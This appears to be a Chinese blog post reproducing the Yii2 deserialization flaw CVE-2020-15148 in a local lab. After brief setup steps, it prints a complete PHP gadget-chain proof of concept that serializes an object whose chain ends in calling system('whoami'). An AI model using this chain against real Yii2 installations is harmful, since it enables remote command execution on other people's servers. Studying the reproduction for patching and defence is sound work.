gctf 2017 php 序列化,Yii2反序列化(CVE-2020-15148)复现

为了方便安装,直接在github(https://github.com/yiisoft/yii2)下载一个release的低版本,然后解压tgz文件到phpstudy的www的目录下,命名为Yii2:

需要注意的是,php拓展需要勾选openssl,然后再执行php init安装Yii2,否则会报错,安装完成后访问一下,证明就安装成功了:

POC:

namespace yii\db;

class BatchQueryResult extends \yii\base\BaseObject{

private $_dataReader;

public function __construct()

{

$this->_dataReader=new \Faker\Generator();

}

}

namespace yii\base;

class BaseObject{

}

namespace yii\rest;

class Action{

public $checkAccess='system';

public $id='whoami';

}

class IndexAction extends Action{

}

namespace Faker;

class Generator{

protected $formatters = array();

public function __construct()

{

$this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];

}

}

use \yii\db\BatchQueryResult;

$c=new BatchQueryResult();

print(serialize($c));

pop链师傅们已经分析好了,还需要自己构造一个反序列化的入口,在controllers下新建一个TestController.php:

先测试下:

然后发送payload:

参考链接:

https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值